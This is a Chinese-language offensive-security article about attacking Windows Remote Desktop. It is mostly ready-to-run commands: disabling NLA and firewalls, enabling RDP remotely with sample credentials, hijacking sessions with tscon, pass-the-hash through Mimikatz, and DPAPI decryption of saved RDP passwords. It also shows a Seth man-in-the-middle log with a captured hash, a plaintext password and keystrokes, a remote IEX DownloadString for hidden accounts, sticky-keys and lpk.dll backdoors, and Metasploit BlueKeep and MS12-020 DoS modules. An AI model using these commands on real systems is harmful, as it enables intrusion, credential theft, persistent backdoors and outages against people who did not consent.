RDP安全总结
一、RDP 介绍
RDP,Remote Desktop Protocol,远程桌面协议,该协议是对国际电信联盟发布的一个国际标准的多通道会议协议 T.120 的一个扩展。远程桌面协议让用户(客户端或称 “本地电脑”)连上提供微软终端机服务的电脑(服务器端或称 “远程电脑”)。大部分的 Windows、Linux、FreeBSD、Mac OS X 都有相应的客户端。远程桌面协议在服务端默认监听 TCP 3389 端口的数据。远程桌面协议为用户提供了通过网络连接远程登录到另一台计算机的图形界面。
userauthentication鉴权
那我们在实战中,需要了解另一个权限,userauthentication 权限 ,该权限主要是用于设置远程连接的身份验证,称之为鉴权
详情见:UserAuthentication | Microsoft Docs
0 指定的网络级用户不需要身份验证就能建立远程桌面连接。 这是默认值。
1 指定网络级别的用户身份验证是必需的
我们采用如下命令来开启或者关闭鉴权,这里 0 代表关闭,1 代表开启:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
关于网络级身份验证(NLA)
所谓网络级验证(network level authentication NLA)是提供给远程桌面连接的一种新安全验证机制,可以在终端桌面连接及登录画面出现前预先完成用户验证程序,由于提前验证部分仅需要使用到较少的网络资源,因此可以有效防范黑客与恶意程序的攻击,同时降低阻断服务攻击(Dos)的机会。
网络级身份验证有以下优点:
- 开始时它只需要很少的远程计算机资源,因为在验证用户身份之前,远程计算机只使用有限的资源,密码验证通过后才进入远程桌面。在早期版本中,远程计算机会启动完全的远程桌面连接。
- 它可以通过降低拒绝服务攻击(拒绝服务攻击试图限制或阻止访问 Internet)的风险来帮助提高安全性。
- 它采用远程计算机身份验证。这有助于防止用户连接到出于恶意目的而建立的远程计算机。
securitylayer 安全层验证
securitylayer 指定服务器和客户端如何彼此进行身份验证之前建立的远程桌面连接。这个安全层验证简单来说就是保证了对话传输保密性更高,它的默认值为 1,指定在建立远程桌面连接之前,服务器和客户端需要进行身份验证,如果这个地方安全层验证的默认值为 1,服务器和客户端就必须要进行身份验证,也就是输入帐号密码的操作。
详情见:SecurityLayer | Microsoft Docs
0 就是连接前使用 rdp 协议进行身份验证,rdp 即远程桌面连接,可以简单理解为就是关闭验证。
1 是指在连接前两端协商来进行身份验证,这个是默认值。
2 就是使用 tls 协议来进行
使用如下命令来进行修改
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
出现身份验证错误 报错解决
出现身份验证错误,要求的函数不受支持,远程计算机:X.X.X.X,这可能是由于CredSSP加密Oracle修正
方法一
这就需要被连接端关闭鉴权模式,在被连接端使用上述reg命令关闭鉴权
或者在远程桌面连接设置里面,取消 “仅允许运行使用网络级别身份验证的远程桌面的计算机连接” 这一安全设置,
选择运行任意版本远程桌面的计算机连接即可。
方法二
在控制端, win+r,输入regedit,点击确定,打开注册表编辑器;
找到路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters
后两项没有时手动建立,右键左侧目录System,选择“新建——项”,输入文件夹名
在Parameters 里 新建 DWORD(32位),名称:“AllowEncryptionOracle”,值:2
再次连接远程计算机,失败则重启。
进入远程桌面登录用户
我在测试过程中,需要同时关闭 userauthentication
和 securitylayer
才可以不用输入凭证 进入 3389 的登录页面 来登录远程桌面。
可以用来留shift后门之类的。
二、查询3389端口方式
(1) REG查询3389状态(0:ON、1:OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
(2) REG查询3389端口(16进制->10进制)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
set /a Port=0xd3d
(3) tasklist、netstat命令查询3389端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "2028"
注:有时也会遇到特殊情况,如某虚拟主机自建低权限用户运行的IIS(Users、IIS_IUSRS),tasklist /svc不显示服务名,注册表查看是0xd3d,但netstat -ano里又没有3389端口,这可能是因为3389远程终端被关闭了,Users权限下只能根据个人经验盲猜可疑端口号。
(4) Meterpreter的netstat查询3389端口
有时我们会遇到不能执行netstat、tasklist和reg等命令的情况,
这时可以通过Meterpreter下的netstat命令来快速查询3389端口,先找0.0.0.0运行的svchost.exe,然后根据个人经验盲猜可疑端口号。
(5) 端口扫描
可以借助 Nmap 扫描来验证端口 3389 是否被打开
nmap -sV -sC -p 3389 192.168.93.30
三、开启3389端口方式
(1) MSF命令开启3389端口
支持系统:
XP/Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run getgui -e
注:getgui可用于开启目标机器的3389远程桌面端口、创建管理员账户密码、禁用远程桌面(TCP-In)防火墙入站规则等。
(2) REG命令开启3389端口
支持系统:
XP/Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(0:ON、1:OFF)
// 开启远程桌面
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
// 修改windows远程桌面端口3389为3000(一般情况不要改)
REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 3000 /f
(3) WMIC命令开启3389端口
支持系统:
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
# 前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
(4) WMIC开启远程主机3389端口
支持系统:
Win2k/XP/Win2k3
// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
注意事项:
其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。
(5) Windows API开启3389端口
冷逸老哥用C++写的“开3389工具”有点小问题,在两台Windows2008机器上测试时分别报出缺少vcruntime140.dll、api-ms-win-crt-runtime-l1-1-0.dll,可以自己去调试编译下。
根据@冷逸老哥的思路用C#也写了一个,目标框架:.NET Framework 2.0,可用CobaltStrike execute-assembly加载到内存中实现无落地执行,
其工具原理就是利用RegCreateKeyEx和RegSetValueEx两个API和Microsoft.Win32 RegistryKey类操作系统注册表,与无Net.exe添加管理员用户一样,都是直接利用Windows API执行相应操作!!!
https://github.com/3had0w/Open3389
应用场景-1:
目标主机因存在某安全防护软件而无法用reg、wmic命令开启3389端口时,可以尝试使用这款工具来查询和开启3389端口,可用execute-assembly加载到内存中执行。
应用场景-2:
目标主机因存在某安全防护软件(如:某锁、某安全卫士)在拦截rundll32.exe时则不能用execute-assembly加载到内存中执行,所以只能选择落地执行,目前为止还是免杀的。
(6) MSSQL xp_regwrite开启3389端口
应用场景:xp_cmdshell被禁用/删除且无法恢复时,可尝试用xp_regread、xp_regwrite来查询和开启目标机器3389端口,也可以选择用sp_OACreate、Agent Job等其他命令执行方式。
# 1、查询3389开启状态
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'
# 2、查询3389远程桌面端口
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
# 3、开启3389远程桌面端口(0:ON、1:OFF)
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
四、防火墙配置
// 配置一下防火墙,设置为允许远程桌面连接,命令:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
// netsh 是 windows 的网络配置命令,advfirewall firewall 意思为防火墙的高级设置,add rule 是添加一条规则
// name 指定规则名称,protocol 指定协议,dir 指定是出站还是入站,localport 指定端口,action 指定动作 allow 允许
// 关闭防火墙
netsh firewall set opmode mode=disable
五、RDP连接工具
开启目标主机的远程桌面后,我们便可以对目标主机进行连接了:
- Linux 系统上的可以使用 rdesktop:
redesktop 192.168.93.30 # redesktop IP
- Windows 系统上可以使用 mstsc.exe
六、暴力破解RDP口令
在实战中,攻击者可以借助 Nmap 来扫描目标主机 3389 端口是否开启,如果目标主机开启了 3389 端口,那我们便可以对目标主机的远程桌面登录口令进行暴力猜解。
可以使用超级弱口令检查工具和Hydra之类的工具
下载地址:shack2/SNETCracker
七、RDP劫持
在 Windows 中有一个 tscon 命令行下使用的工具
首先执行如下命令获取用户对应的会话 ID:
query user
可以看到用户对应的会话 ID,然后通过执行 tscon 命令即可成功切换至目标用户的远程桌面
tscon 会话id /PASSWORD:要切换的用户密码
eg:
tscon 2 /PASSWORD:Bunny2021
在 SYSTEM 权限下直接执行 tscon 会话切换命令, 不需要输入密码:
tscon ID
高权限用户劫持低权限用户的 RDP
高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。
创建劫持用户会话的服务:
sc create rdp binpath= "cmd.exe /k tscon 会话id /dest:会话名称"
sc create rdp binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改为目标会话id和当前会话名
sc start rdp
执行sc start rdp
后,我们创建的劫持会话的服务将会启动,
由于 Windows 是以 SYSTEM 权限运行服务的,所以我们tscon 2
命令也会以 SYSTEM 权限运行,
此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话
低权限用户劫持高权限用户的 RDP
低权限用户想要劫持高权限用户的 RDP 的话需要想办法提权,即将自己的权限提升至 SYSTEM。
八、哈希传递登录 RDP
Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ” 受限管理员” (Restricted Admin)的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣,因为通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。
在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 “Restricted Admin Mode” 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。
我们在渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
# 查看是否成功开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行mstsc.exe /restrictedadmin
来打开:
privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
注意,这里的受限管理员模式顾名思义只对管理员组有效。所以如果你获取到的用户属于远程桌面用户组,那么是无法通过 Hash 登录的。
九、多用户登录
多用户登陆同一个账户
Windows server 2012
打开cmd,输入gpedit.msc 组策略,找到【计算机设置】–【管理模板】–【windows组件】–【远程桌面服务】–【远程桌面会话主机】–【连接】
按照以下步骤操作:
1、拒绝将已经登录到控制台会话的管理员注销—选择启用
2、限制连接的数量—选择启用,配置‘允许的RD最大连接数’为10个
3、将远程桌面服务用户限制到单独的远程桌面服务会话—选择禁用
打开管理员命令提示符运行
gpupdate /force
Windows server 2008
依次打开”管理工具”(控制面板或者"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools")——”远程桌面服务”——”远程桌面会话主机配置”——双击”限制每个用户只能进行一个会话”——在弹出的对话框中把”限制每个用户只能进行一个会话”勾去掉——确定。
开始-运行-输入regedit打开注册表 , 在右边找到 fSingleSessionPerUser 把值由1改为0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
命令操作
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"
多用户登录不同账户
非服务器版本的 Windows 系统默认只允许一个账户登录,远程登录时,
使用与原系统相同的账户,原系统将被切换到登录界面
使用不同的账户,登录时提示其他用户已登录到此计算机,
选择继续后,原系统桌面将弹框提示是否断开当前连接 (30 秒后默认选择同意,退回到登录界面)
Mimikatz
Mimikatz 开启多用户登录,支持Win 7 及以前的版本系统
mimikatz.exe
privilege::debug
ts::multirdp
PS:使用与原系统相同的账户,原系统还是会被切换到登录界面;不同账户登陆成功
RDPwrap
工程地址:
https://github.com/stascorp/rdpwrap
工具地址:
https://github.com/stascorp/rdpwrap/releases
RDPwrap:支持Win Vista - Win10
RDPWinst.exe -i is # 安装
RDPWinst.exe -u # 卸载RDPWinst.exe -i is # 安装
RDPWinst.exe -u # 卸载
SharpDoor
仅使用于Win 10 开启多会话RDP
十、RDP中间人攻击
中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。
Seth 是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。
项目地址:https://github.com/SySS-Research/Seth
使用该工具所要求的环境:
- Python 3
- Tcpdump
- Arpspoof
- Openssl
使用方法如下:
./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]
INTERFACE:网卡
ATTACKER IP:中间人 IP
VICTIM IP:连接者 IP
GATEWAY IP|HOST IP:被连接的远程主机 IP
COMMAND:启动时执行的命令
执行以下命令启动 seth 监听:
./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用<COMMAND>
在目标主机上执行命令。
详情请看:https://www.freebuf.com/sectool/178146.html
攻击成功后类似如下:
# ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] SpoofinG arp replies...
[*] TurninG on IP forwardinG...
[*] Set iptables rules for SYN packets...
[*] WaitinG for a SYN packet to the oriGinal destination...
[+] Got it! OriGinal destination is 192.168.93.30
[*] Clone the x509 certificate of the oriGinal destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
ListeninG for new connection
Connection received from 192.168.93.20:50431
DownGradinG authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, DownGradinG CredSSP
Connection lost
Connection received from 192.168.57.103:50409
ListeninG for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
ListeninG for new connection
Enable SSL
HidinG forGed protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (EnGlish_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] CleaninG up...
[*] Done.
十一、获取RDP远程桌面连接记录
在渗透测试中,远程桌面连接的历史记录不可忽视,根据历史记录往往能定位出关键的服务器。接下来我们就介绍一下如何导出 RDP 连接的历史记录。
获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。
详情见:渗透技巧——获得Windows系统的远程桌面连接历史记录
导出当前用户的历史记录
可以通过枚举下面的注册表键值查看当前用户的历史记录:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
也可以通过 PowerShell 命令行来实现,首先通过以下命令枚举指定注册表项下所有的的子项,即当前用户所连接过的所有的主机名:
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
然后使用以下命令查询指定注册表项的注册表键值,即查看连接所使用的用户名:
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint
下面给出一个三好学生写的枚举脚本:
$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User"`n"
}
Catch
{
Write-Host "No RDP Connections History"
}
}
导出已登录用户的历史记录
已登录用户的注册表信息会同步保存在HKEY_USERS\<SID>
目录下,<SID>
要对应每个用户的 SID:
几个用户,分别有几个子项。我们可以通过枚举注册表键值
HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers
就能够获得已登录用户的远程桌面连接历史记录:
如果第三个用户未登录,此时是无法直接获得该用户的注册表信息的,会报错,也就无法直接导出该用户的远程桌面连接历史记录。
最后给出一个三好学生写的枚举脚本:
$AllUser = Get-WmiObject -Class Win32_UserAccountforeach($User in $AllUser){$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"Write-Host "User:"$User.NameWrite-Host "SID:"$User.SIDWrite-Host "Status:"$User.StatusTry { $QueryPath = dir $RegPath -Name -ErrorAction Stop}Catch{Write-Host "No RDP Connections History"Write-Host "----------------------------------"continue}foreach($Name in $QueryPath){ Try { $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHintWrite-Host "Server:"$NameWrite-Host "User:"$User}Catch {Write-Host "No RDP Connections History"}}Write-Host "----------------------------------" }
导出所有用户的历史记录
前面刚说了,对于未登录用户,无法直接获得注册表配置信息,那有什么解决办法?其实这里可以通过加载配置单元的方式来解决,即打开用户的 NTUSER.DAT 文件,加载配置单元导入用户配置信息,然后进行枚举。
选中 HKEY_USERS 项,点击“文件” —> “加载配置单元”,如下图:
选择打开用户的 NTUSER.DAT 文件,
路径为C:\Documents and Settings\用户名\NTUSER.DAT
接着指定一个项名称,即可在 HKEY_USERS 下读取该用户的注册表配置信息
此外,也可以通过命令行实现加载配置单元的实例:
Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT
最后给出一个三好学生写的枚举脚本:
https://github.com/3gstudent/List-RDP-Connections-History
十二、获取连接过的RDP密码
在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密,解密成功后可使用此凭据继续横向移动。
保存了RDP 凭证
Windows保存RDP凭据的目录是:
C:\Users\用户名\AppData\Local\Microsoft\Credentials
查看保存在本地的远程主机信息
cmdkey /list
注意:cmdkey /list命令务必在Session会话下执行,system下执行无结果。
或者使用powerpick查看
powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
查看本地用户此目录下是否存有RDP密码文件,这条命令只能在cmd中执行!!! powershell无法使用
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
查看连接记录
查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
也可以使用三好学生的ps脚本
https://github.com/3gstudent/List-RDP-Connections-History
利用步骤
一、mimikatz
// 选择一个密码文件对其进行解密,获取guidMasterKey和pbData的值,
// pbData是我们要解密的数据,guidMasterKey是解密所需要的密钥。
// 待会要通过guidMasterKey找对应的Masterkey。
// SESSIONID 即为 %userprofile%\AppData\Local\Microsoft\Credentials\ 目录下的一个文件夹名
mimikatz # dpapi::cred /in:C:\Users\USERNAME\AppData\Local\Microsoft\Credentials\SESSIONID
eg:
mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\8781378F7D47006A4FC98D2F8A266F58
// 如果你没有获得到解码凭证则需要手动携带Masterkey
// 根据guidMasterKey找到对应的Masterkey,这里LSASS已经在其缓存中存有这个key因此我们可以使用SeDebugPrivilege获取。
mimikatz # sekurlsa::dpapi
// 通过Masterkey解密出明文RDP连接密码。
mimikatz "dpapi::cred /in:C:\Users\USERNAME\Desktop\test\SESSION /masterkey:GUID key对应的masterkey"
eg:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\8781378F7D47006A4FC98D2F8A266F58 /masterkey:1df6b7a86b7aa3238c6899b1b4fd7b4ccba852db9b2ea611bbb7943f34b788f55d27835591ccde1e6c643d9aca724fd495282f5fc92ee80746262d8759b9d23d"
二、netpass
nirsoft密码恢复工具介绍:nirsoft
全套工具下载 https://www.nirsoft.net/protected_downloads/passreccommandline.zip
用户名:download 密码:nirsoft123! 解压密码:nirsoft123!
netpass下载
x86
https://www.nirsoft.net/toolsdownload/netpass.zip
x64
https://www.nirsoft.net/toolsdownload/netpass-x64.zip
使用:
双击netpass.exe
三、其他
powershell脚本自动化解密…
未保存RDP凭证
SharpRDPThief 是 RDPThief 的 C# 实现。它使用 EasyHook 将一个 DLL 注入 mstsc.exe,然后它会挂钩 CryptProtectMemory api 调用。hook 将从传递给 CryptProtectMemory 的地址中获取密码,然后通过 EasyHook 的 IPC 服务器将其发送到主进程。
https://github.com/0x09AL/RdpThief
https://github.com/passthehashbrowns/SharpRDPThief
目前这只是概念实现的证明,需要 RDPHook.dll 与 SharpRDPThief.exe 位于同一目录中。
RdpThief 本身是一个独立的 DLL,当它被注入到 mstsc.exe 进程中时,将执行 API 挂钩,提取明文凭据并将它们保存到文件中。
当在 Cobalt Strike 上加载 aggressor 脚本时,有三个命令可用:
rdpthief_enable – 启用新 mstsc.exe 进程的心跳检查并注入它们。
rdpthief_disable – 禁用新 mstsc.exe 的心跳检查,但不会卸载已加载的 DLL。
rdpthief_dump – 打印提取的凭据(如果有就会打印出来)
参考文章:
https://mp.weixin.qq.com/s/uHnDlHbOVGnqzZdj8UnXIg
https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/
十三、与远程桌面相关的权限维持方法
Windows 系统隐藏账户
利用工具:
# 添加用户并隐藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
- https://github.com/An0nySec/ShadowUser
详情参考: 渗透技巧——Windows系统的帐户隐藏
Windows 粘滞键与辅助功能后门
参考文章:https://www.cnblogs.com/BOHB-yunying/p/11695140.html
利用工具
Metasploit 中的post/windows/manage/sticky_keys
模块可实现自动化地利用沾滞键的权限维持技术。
该模块将用 cmd.exe 替换那些辅助功能的二进制文件(sethc、osk、disp、utilman):
使用方法如下:
use post/windows/manage/sticky_keys
set session 6
set target UTILMAN
exploit
此时,我们开启目标主机的远程桌面,当我们点击左下角的辅助功能按钮后,成功弹出了 CMD 窗口,并且为 SYSTEM 权限的:
不仅是 CMD,我们还可以换成任意的 Payload 用于钓鱼,当受害者使用响应功能时便会触发 Payload 实施攻击。
简介
如果你在电脑上连按五次 shift 键,你就会发现电脑屏幕上弹出了一个叫做 “粘滞键” 的程序,
在不知道用户账户密码,没有登录进系统之前,连按五次 shift 键也可以弹出这个程序,也称之为shift后门
但是首先得需要进入远程桌面登录界面,需要关闭鉴权和securitylayer验证,参考本文开篇。
粘滞键程序名称为 “sethc.exe”,其路径为 “c:\windows\system32\sethc.exe”。
**类似程序 **
-
放大镜 Magnify.exe win 和 + 同时按
-
讲述人 Narrator.exe win 和 enter 同时按
制作过程
利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:
首先,我们手动或利用工具,找到 sethc.exe 将其删除或改名为 sethc.exe.bak(非必要)
接着将 cmd.exe 程序复制一个副本,并命名为 “sethc.exe”,替换原来的sethc.exe
最后,重启计算机再次按下 5 次 Shift 键时,就会弹出 CMD 界面,后门制作成功。
制作的方法如下,在目标主机上执行如下命令即可:
// 将sethc.exe重命名备份
move C:\WINDOWS\system32\sethc.exe C:\WINDOWS\system32\sethc.exe.bak
// 将一个cmd.exe副本保存伪装成sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
此时,我们打开目标主机的远程桌面,连续按下五次 shift 键,便可以看到目标主机屏幕上成功弹出了一个 CMD 窗口
一般情况下,即使是 SYSTEM 权限也是无法修改 sethc.exe 的,只有 TrustedInstaller 权限才可以。
解决办法一:
修改的文件右击 –> 属性 –> 安全 –> 高级 –> 更改所有者 –> 当前用户 –> 确定 –> 重复之前步骤知道高级 –> 编辑权限为完全控制
解决办法二:
出现这样的情况我们就需要将将权限目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)命令
takeown /f c:\windows\system32\*.* /a /r /d y
// 目录下的文件、子文件夹的NTFS权限修改为仅管理员组(administrators)完全控制
cacls c:\windows\system32\*.* /T /E /G administrators:F
// 如果提权后是system权限,需要在转化
cacls c:\windows\system32\*.* /T /E /G system:F
解决办法三:
模拟一个 TrustedInstaller 权限的令牌获取 TrustedInstaller 权限,然后再执行上述操作。我们的思路如下:
当我们启动 TrustedInstaller 服务时, 会启动进程 TrustedInstaller.exe,
该程序的权限为 NT SERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。
首先进入 shell 启动 TrustedInstaller 服务:
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务
然后执行如下即可:
use incognitops # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID> # 从该进程中窃取令牌getuid
此时便可以对 sethc.exe 进行任何操作了。
Lpk后门
一般系统都存在lpk.dll文件,该文件位于C:\WINDOWS\system32和C:WINDOWS\system\dllcache目录下。当exe文件运行时,lpk.dll就会被Windows动态链接,系统会先从当前目录查找,然后在到系统目录查找并加载。下面使用工具生成木马并保存为lpk.dll。我们要做的就是替换系统的lpk.dll文件。
将这个文件替换系统自带的文件,并按5次shift键,系统就会运行sethc.exe程序,进而lpk.dll就会被Windows动态链接,
同时按下我们设置的键(我设置的是65和83,即一起按下AS键),输入我们设置的密码,
最终弹出我们的shell窗口,添加账号后即可登录。
十四、与远程桌面相关的漏洞
DOS 攻击
这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。
该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行
在 Metasploit 中有两个该漏洞的利用模块:
首先为了确定目标主机是否容易受到该漏洞的影响,可以先使用第二个命令来进行检测:
use auxiliary/scanner/rdp/ms12_020_check
set rhosts 192.168.93.20
set rport 3389
exploit
目标机存在漏洞,然后尝试使用第一个模块进行攻击,这将对目标系统发起 DOS 攻击,最终导致目标系统蓝屏:
use auxiliary/dos/windows/rdp/ms12_020_maxchannelid
sset rhosts 192.168.93.20
set rport 3389
exploit
从上图中可以看到目标系统是由于某些问题导致系统正在关闭。DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。
CVE-2019-0708
2019 年 5 月 14 日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口 3389,RDP 协议进行攻击的。
此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与 2017 年 WannaCry 恶意软件的传播方式类似。
它影响了某些旧版本的 Windows 系统,包括:
- Windows 7
- Windows server 2008 R2
- Windows server 2008
- Windows 2003
- Windows xp
在 Metasploit 中已经有了该漏洞的利用模块:
第一个模块用来检测目标机是否存在漏洞,第二个模块用来进行攻击。设置好参数直接利用即可:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
